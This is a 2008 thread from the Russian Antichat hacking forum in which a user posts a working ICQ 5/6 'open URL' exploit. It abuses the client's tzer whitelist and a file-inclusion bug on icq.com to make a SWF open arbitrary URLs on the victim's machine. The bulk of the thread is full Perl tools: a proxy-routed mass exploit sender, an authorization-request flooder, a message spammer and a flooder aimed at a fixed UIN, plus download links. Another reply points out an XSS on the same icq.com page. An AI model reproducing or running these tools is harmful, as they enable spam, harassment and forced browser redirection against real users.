Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   ICQ (https://forum.antichat.xyz/forumdisplay.php?f=13)
-   -   Icq 5/6 open url exploit (https://forum.antichat.xyz/showthread.php?t=77728)

%00 19.07.2008 19:12

Icq 5/6 open url exploit
 
Icq 5/6 open url exploit

Сегодня поизвращаемся над icq 6... :)
идем в директорию с icq6 ICQ6\ConfigFiles\tzer.xml и так что мы видим?
Код:

<whitelist>
<u>www.icq.com</u>
<u>xtraz.icq.com</u>
<u>c.icq.com</u>
</whitelist>

я предположил что если залить на один из этих сайтов свою swf то она без проблем откроеться...
добавил в файл hosts
Код:

127.0.0.1 c.icq.com
залил на на локалхост swf'ky и послал себе в icq6 tzer
Код:

<tzer id="ID" name="hello" url="http://127.0.0.1/1.swf" preview="0" freeData="preview=0;uin=$uin"/>"
swf'ka открылась...с сайтов не включенных в белый лист не открывалась...
очевидно было, что нужно либо закачать swf например в greetings, либо подключить файл через какую-нибудь багу... например через эту
Код:

https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://url/1.swf
(http://forum.antichat.ru/showthread.php?p=719835)
После чего я взял флудер C!klodoL'a доработал его и сделал сплоит...
умеет:
-работать с socks
-отправлять по списку
-запрашивать авторизаию
и тд
Скрипт очень касячный... Писал на скороую руку для себя, есть версия написанная с нуля и не искользующая паблик баг с подкл файла...(если найдете много багов в этой версии выложу другую)
Код HTML:

##!/usr/bin/perl
#use warnings;
use strict;
use threads;
use threads::shared;
use Socket;
use IO::Socket;
use Time::HiRes qw(gettimeofday tv_interval);

system("cls");
system("color 02");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
sleep(3);
system("cls");
my $ttz : shared;
$ttz=0;
my $ta: shared;
$ta=0;
my $stt;
my $authtext="auth";
my $tzer="<tzer id=\"ID\" name=\"hello\" url=\"https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://ya.ru/moogaloop.swf\" preview=\"0\" freeData=\"preview=0;uin=$stt\"/>";
my ($host,$port) = ('login.icq.com', 5190);
my @uins : shared;
open(FILE, '<C:\uins.txt') or die("\nuins.txt - error");
@uins = <FILE>;
close(FILE);
my @sendto : shared;
open(FILE, '<C:\sendto.txt') or die("\nsendto.txt - error");
@sendto = <FILE>;
close(FILE);
my @proxy : shared;
open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT
@proxy = <FH>;
close(FH);
chomp(@proxy);
chomp(@sendto);
chomp(@uins);
my $threads = 10; #количество потоков = количеству асек в файле
if ($threads>scalar(@sendto)) {$threads=scalar(@sendto);}
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
for(1..$threads) { $thread[$_]->join; }

sub flood {
open( my $fh, '>
>C:\log.txt');
my @tmass;
my $tmp=0;
    my ($uin,$password) = split(/;/,shift(@uins));
    my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
    "\x00\x02".int2bytes(length($password)).
    substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
    "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
    "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
    "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
    "\x0E\x00\x02\x75\x73";
    my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    my $prx = shift(@proxy);
my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
my $buf;
my $response;
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);

#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($host);
$buf .= pack("n", $port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
my @a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
    $sock->recv($buf, 10);
    $sock->send($FLAP.$SNAC);
    $sock->recv($response,65535);
    close($sock);
          if($response=~/MISMATCH_PASSWD/) { return }
    my ($BOS_Host, $BOS_Port, $Cookie);
    if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
        $Cookie = parsCookie($response);
        print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port"
    } else { return }
    $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
    $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));

$sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);

#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($BOS_Host);
$buf .= pack("n", $BOS_Port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
@a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
$sock->recv($buf, 10);
    $sock->send($FLAP.$SNAC);
    $sock->recv($response,65535);




    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
    "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
    "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
    "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
    "\x00\x01\x01\x10\x02\x8A";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));

    $sock->send($FLAP.$SNAC);

       
my $t0 = [gettimeofday];       
while(my $targetUin=shift(@sendto)) {
if (tv_interval($t0)<60*3 && $targetUin) {
$SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->
send($FLAP.$SNAC,0);
#$socket->recv($response,65535);
sleep 2+int(rand(5));
$tmass[$tmp]=$targetUin;
$tmp=$tmp+1;
$ta=$ta+1;
print $fh "\nsend auth to $targetUin";
system("cls");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
print "\n\n\n\n\t\t\tsend auth $ta  send exploit $ttz\n";
} else {while($stt=shift(@tmass)) {
sleep(60);
my $core_len = 11 + 52 + length($tzer);
$SNAC = pack('nnnNdnca*', 4, 6, 0, 1, $Cookie, 2, length($stt), $stt)."\x00\x05"."\x01\x4D\x00\x00\x88\xB8\x39\x95\x0C\x00\xDC\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0A\x00\x02\x00\x01\x00\x0F\x00\x00".pack('nnvv', 10001, ($core_len+51), 27, 8)."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x18\x00\x0E\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x01\x00\x00\x32\x00\x4F\xA6\xF3\x4C\x09\xB7\xFD\x48\x92\x08\x7E\x85\x7A\xE0\x73\x30\x00\x00\x0D\x00\x00\x00\x54\x2D\x5A\x65\x72\x20\x4D\x65\x73\x73\x61\x67\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('VVa*', (length($tzer)+4), length($tzer), $tzer)."\x00\x03\x00\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC,0);
$t0 = [gettimeofday];
$ttz=$ttz+1;
print $fh "\nsend exploit to $stt";
system("cls");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
print "\n\n\n\n\t\t\tsend auth $ta  send exploit $ttz\n";
}
}
}
if (@tmass) {sleep(60);}
while ($stt=shift(@tmass)) {
my $core_len = 11 + 52 + length($tzer);
my $sss="\x00\x00\x88\xB8\x39\x95\x0C\x00\xDC\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00\x00\x0A\x00\x02\x00\x01\x00\x0F\x00\x00".pack('nnvv', 10001, ($core_len+51), 27, 8)."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x18\x00\x0E\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1A\x00\x00\x00\x01\x00\x01\x00\x00\x32\x00\x4F\xA6\xF3\x4C\x09\xB7\xFD\x48\x92\x08\x7E\x85\x7A\xE0\x73\x30\x00\x00\x0D\x00\x00\x00\x54\x2D\x5A\x65\x72\x20\x4D\x65\x73\x73\x61\x67\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".pack('VVa*', (length($tzer)+4), length($tzer), $tzer);
$SNAC = pack('nnnNdnca*', 4, 6, 0, 1, $Cookie, 2, length($stt), $stt).pack('nna*', 5, length($sss), $sss)."\x00\x03\x00\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC,0);
$ttz=$ttz+1;
print $fh "\nsend exploit to $stt";
system("cls");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
print "\n\n\n\n\t\t\tsend auth $ta  send exploit $ttz\n";
}
close $fh;
}

sub int2bytes { return pack('n',shift) }

sub parsCookie {
    my $cookie = shift;
    my $i++;
    for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
    return substr($cookie,4+$i,256)
}

BEGIN {
    my $seqNum = int(rand(65535));
    sub seqNum {
        $seqNum++;
        $seqNum = 0 if $seqNum > 65535;
        return int2bytes($seqNum)
    }
}

изменяем "Ваш урл" на url с swf
Код:

<tzer id=\"ID\" name=\"hello\" url=\"https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://Ваш урл/1.swf\" preview=\"0\" freeData=\"preview=0;uin=$stt\"/>
чтобы открыть url у пользователя icq6 в fla файле должно быть
Код HTML:

getURL("http://xxx/", "_blank");
затем скомпилируйте и разместите по адресу "Ваш урл"
запрещено распостронение за приделы forum.antichat.ru
В ближайшие время постораюсь выложить спамер icq, и флудер авторизацией на основе флудера C!klodoL'a
1.fla и sploit.pl доступны по адресу
http://ifolder.ru/7400251

%00 19.07.2008 19:23

Вот на скорую руку еще было набросанно
-флудер авторизацией
Код HTML:

##!/usr/bin/perl
#use warnings;
use strict;
use threads;
use threads::shared;
use Socket;
use IO::Socket;
system("cls");
system("color 02");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
sleep(3);
system("cls");
my $ta: shared;
$ta=0;
my $stt;
my $targetUin=""; #kyga
my $authtext="auth";#4em
my ($host,$port) = ('login.icq.com', 5190);
my @uins : shared;
open(FILE, '<C:\uins.txt') or die("\nuins.txt - error");
@uins = <FILE>;
close(FILE);
my @proxy : shared;
open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT
@proxy = <FH>;
close(FH);
chomp(@proxy);
chomp(@uins);
my $threads = 500; #количество потоков = количеству асек в файле
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
for(1..$threads) { $thread[$_]->join; }

sub flood {
open( my $fh, '>
>C:\log.txt');
my @tmass;
my $tmp=0;
    my ($uin,$password) = split(/;/,shift(@uins));
    my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
    "\x00\x02".int2bytes(length($password)).
    substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
    "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
    "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
    "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
    "\x0E\x00\x02\x75\x73";
    my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    my $prx = shift(@proxy);
my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
my $buf;
my $response;
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);

#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($host);
$buf .= pack("n", $port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
my @a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
    $sock->recv($buf, 10);
    $sock->send($FLAP.$SNAC);
    $sock->recv($response,65535);
    close($sock);
          if($response=~/MISMATCH_PASSWD/) { return }
    my ($BOS_Host, $BOS_Port, $Cookie);
    if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
        $Cookie = parsCookie($response);
        print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port"
    } else { return }
    $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
    $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));

$sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);

#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($BOS_Host);
$buf .= pack("n", $BOS_Port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
@a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
$sock->recv($buf, 10);
    $sock->send($FLAP.$SNAC);
    $sock->recv($response,65535);




    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
    "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
    "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
    "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
    "\x00\x01\x01\x10\x02\x8A";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));

    $sock->send($FLAP.$SNAC);

       
       
while($targetUin) {
$SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC,0);
$ta=$ta+1;
print "send auth $ta\n";
sleep 2+int(rand(5));
}
close $fh;
}

sub int2bytes { return pack('n',shift) }

sub parsCookie {
    my $cookie = shift;
    my $i++;
    for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
    return substr($cookie,4+$i,256)
}

BEGIN {
    my $seqNum = int(rand(65535));
    sub seqNum {
        $seqNum++;
        $seqNum = 0 if $seqNum > 65535;
        return int2bytes($seqNum)
    }
}

-спамер icq
Код HTML:

##!/usr/bin/perl
#use warnings;
use strict;
use threads;
use threads::shared;
use Socket;
use IO::Socket;
system("cls");
system("color 02");
print "\n\n\n\n\n\n\n";
print "\t\t\t_|                  _|        \n";
print "\t\t\t    _|_|_|  _|_|    _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|_|      \n";
print "\t\t\t_|  _|    _|    _|  _|  _|    \n";
print "\t\t\t_|  _|    _|    _|  _|    _|  \n";
sleep(3);
system("cls");
my $ta: shared;
$ta=0;
my $message="spam";
my ($host,$port) = ('login.icq.com', 5190);
my @uins : shared;
open(FILE, '<C:\uins.txt') or die("\nuins.txt - error");
@uins = <FILE>;
close(FILE);
my @sendto : shared;
open(FILE, '<C:\sendto.txt') or die("\nsendto.txt - error");
@sendto = <FILE>;
close(FILE);
my @proxy : shared;
open(FH, '<C:\proxy.txt') or die("\nproxy.txt - error"); #IP:PORT
@proxy = <FH>;
close(FH);
chomp(@proxy);
chomp(@sendto);
chomp(@uins);
my $threads = 500; #количество потоков = количеству асек в файле
if ($threads>scalar(@sendto)) {$threads=scalar(@sendto);}
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
for(1..$threads) { $thread[$_]->join; }

sub flood {
open( my $fh, '>
>C:\log.txt');
my @tmass;
my $tmp=0;
    my ($uin,$password) = split(/;/,shift(@uins));
    my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
    "\x00\x02".int2bytes(length($password)).
    substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
    "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
    "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
    "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
    "\x0E\x00\x02\x75\x73";
    my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    my $prx = shift(@proxy);
my $sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
my $buf;
my $response;
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);

#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($host);
$buf .= pack("n", $port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
my @a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
    $sock->recv($buf, 10);
    $sock->send($FLAP.$SNAC);
    $sock->recv($response,65535);
    close($sock);
          if($response=~/MISMATCH_PASSWD/) { return }
    my ($BOS_Host, $BOS_Port, $Cookie);
    if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
        $Cookie = parsCookie($response);
        print $fh "\n[+] $uin reconnect to: $BOS_Host:$BOS_Port"
    } else { return }
    $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
    $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));

$sock = IO::Socket::INET->new($prx) or die("\nErr: $!\n");
$sock->send(pack("C3", 0x05, 0x01, 0x00));
$sock->recv($buf, 2);

#print join(" ", unpack("C2", $buf)), "\n";
$buf = pack("C4", 0x05, 0x01, 0x00, 0x01);
$buf .= inet_aton($BOS_Host);
$buf .= pack("n", $BOS_Port);
#$buf .= 0x00;
$sock->send($buf);
$sock->recv($buf, 10);
#print join(" ", unpack("C4", $buf)), "\n";
@a = unpack("C4", $buf);
die("SOCKS error: $a[1]") if $a[1];
#print join(".", unpack("C4", substr($buf, 4, 4))), "\n";
#print join("", unpack("n2", substr($buf, 8))), "\n";
$sock->recv($buf, 10);
    $sock->send($FLAP.$SNAC);
    $sock->recv($response,65535);




    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
    "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
    "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
    "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
    "\x00\x01\x01\x10\x02\x8A";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));

    $sock->send($FLAP.$SNAC);

       
       
while(my $targetUin=shift(@sendto)) {
$SNAC = "\x00\x04\x00\x06\x00\x00\x00\x00\x00\x02\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x00\x02".
        pack('h',length($targetUin)).$targetUin."\x00\x05".int2bytes(length($message)+102).
        "\x00\x00".
        "\x1D\x91\xEF\x52\xEA\x92\xD3\x3F\x09\x46\x13\x49\x4C\x7F\x11\xD1\x82\x22\x44\x45\x53\x54\x00\x00".
        "\x00\x0A\x00\x02\x00\x01\x00\x0F".
        "\x00\x00\x27\x11". #хз
        int2bytes(length($message)+62). #61 + длина текста
        "\x1B\x00\x08".("\x00"x19).
        "\x03\x00\x00\x00".
        "\x00\x02\x00\x0E\x00\x02".("\x00"x13).
        "\x01\x00\x00\x00\x00".
        "\x01".pack('v',length("$message\0")).$message."\x00\x00\x00\x00\x00\xFF\xFF\xFF\x00";
                $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
$sock->send($FLAP.$SNAC,0);
$ta=$ta+1;
sleep 2+int(rand(5));
print "send message $ta to $targetUin\n";
}
close $fh;
}

sub int2bytes { return pack('n',shift) }

sub parsCookie {
    my $cookie = shift;
    my $i++;
    for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
    return substr($cookie,4+$i,256)
}

BEGIN {
    my $seqNum = int(rand(65535));
    sub seqNum {
        $seqNum++;
        $seqNum = 0 if $seqNum > 65535;
        return int2bytes($seqNum)
    }
}

Код:

http://dump.ru/file_catalog/954684
все на скрипте C!klodoL'a
Об ошибках в скриптах в пм.

Redyps 19.07.2008 19:31

хм, там значит впринципе есть xss, может конечно баян но я не видел
https://www.icq.com/xtraz2/products/coreg/php/check_lsp_details.php?url=http://omfg0o.narod.ru/icq.txt
Вообще интересно, автор молодец

DimOnOID 19.07.2008 20:54

Можешь без прокси сделать?(я про флудер)..а то нормальных нету..и пишет типо
Код:

thread failed to start:
Err: Invalid argument


%00 20.07.2008 00:14

Цитата:

Сообщение от DimOnOID
Можешь без прокси сделать?(я про флудер)..а то нормальных нету..и пишет типо
Код:

thread failed to start:
Err: Invalid argument


не советую юзать без socks'ов...

%00 21.07.2008 18:41

Цитата:

Сообщение от DimOnOID
Можешь без прокси сделать?(я про флудер)..а то нормальных нету..и пишет типо
Код:

thread failed to start:
Err: Invalid argument


Код HTML:

#!/usr/bin/perl
use warnings;
use strict;
use threads;
use threads::shared;
use Socket;

my $targetUin = 393571111;  #кого
my $authtext="auth";#4em
my $ta: shared;
$ta=0;
my ($host,$port) = ('login.icq.com', 5190);
print "\n$0 (c)oded by C!klodoL\n";
my @uins : shared;
open(FILE, '<C:\uins.txt');
@uins = <FILE>;
close(FILE);
chomp(@uins);
my $threads = 20; #количество потоков = количеству асек в файле
my @thread;
for(1..$threads) { $thread[$_] = threads->create(\&flood); sleep 3 }
for(1..$threads) { $thread[$_]->join; }

sub flood {
    my ($uin,$password) = split(/;/,shift(@uins));
    my $SNAC = "\x00\x00\x00\x01\x00\x01".int2bytes(length($uin)).$uin.
    "\x00\x02".int2bytes(length($password)).
    substr($password^"\xF3\x26\x81\xC4\x39\x86\xDB\x92\x71\xA3\xB9\xE6\x53\x7A\x95\x7C",0,length($password)).
    "\x00\x03\x00\x08\x49\x43\x51\x42\x61\x73\x69\x63\x00\x16\x00\x02\x01\x0A\x00".
    "\x17\x00\x02\x00\x14\x00\x18\x00\x02\x00\x22\x00\x19\x00\x02\x00\x00\x00\x1A".
    "\x00\x02\x09\x11\x00\x14\x00\x04\x00\x00\x04\x3D\x00\x0F\x00\x02\x65\x6E\x00".
    "\x0E\x00\x02\x75\x73";
    my $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));
    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
    connect(SOCKET,sockaddr_in($port,inet_aton($host)));
    my $response;
    sysread(SOCKET,$response,10);
    syswrite(SOCKET,$FLAP.$SNAC);
    sysread(SOCKET,$response,65535);
    close(SOCKET);

    if($response=~/MISMATCH_PASSWD/) { return }
    my ($BOS_Host, $BOS_Port, $Cookie);
    if(($BOS_Host, $BOS_Port) = $response =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d{1,5})/o) {
        $Cookie = parsCookie($response);
        print "[+] $uin reconnect to: $BOS_Host:$BOS_Port\n"
    } else { return }
    $SNAC = "\x00\x00\x00\x01\x00\x06\x01\x00".$Cookie;
    $FLAP = "\x2A\x01".seqNum().int2bytes(length($SNAC));

    socket(SOCKET,AF_INET,SOCK_STREAM,getprotobyname('tcp'));
    connect(SOCKET,sockaddr_in($BOS_Port,inet_aton($BOS_Host)));
    sysread(SOCKET,$response,10);
    syswrite(SOCKET,$FLAP.$SNAC);
    sysread(SOCKET,$response,65535);

    $SNAC = "\x00\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x01\x00\x03\x01\x10\x02\x8A\x00\x02".
    "\x00\x01\x01\x10\x02\x8A\x00\x03\x00\x01\x01\x10\x02\x8A\x00\x15".
    "\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10\x02\x8A\x00\x06".
    "\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10\x02\x8A\x00\x0A".
    "\x00\x01\x01\x10\x02\x8A";
    $FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));

    syswrite(SOCKET,$FLAP.$SNAC);

    for(;;) {
$SNAC ="\x00\x13\x00\x18\x00\x00\x00\x00\x00\x18".pack('h',length($targetUin)).$targetUin."\x00".pack('h',length($authtext)).$authtext."\x00\x00";
$FLAP = "\x2A\x02".seqNum().int2bytes(length($SNAC));
        syswrite(SOCKET,$FLAP.$SNAC);
                $ta=$ta+1;
                print "send message # $ta\n";
        sleep 2+int(rand(3));
               
    }

}

sub int2bytes { return pack('n',shift) } #пакуем в 16битное целое

sub parsCookie { #парсер куки
    my $cookie = shift;
    my $i++;
    for(;;$i++) { last if substr($cookie,$i,4) eq "\x00\x06\x01\x00" }
    return substr($cookie,4+$i,256)
}

BEGIN {    #счётчик номера пакета
    my $seqNum = int(rand(65535));
    sub seqNum {
        $seqNum++;
        $seqNum = 0 if $seqNum > 65535;
        return int2bytes($seqNum)
    }
}

спец для тебя, кол-во тредов отредактируй
http://dump.ru/file_catalog/957763


Время: 16:49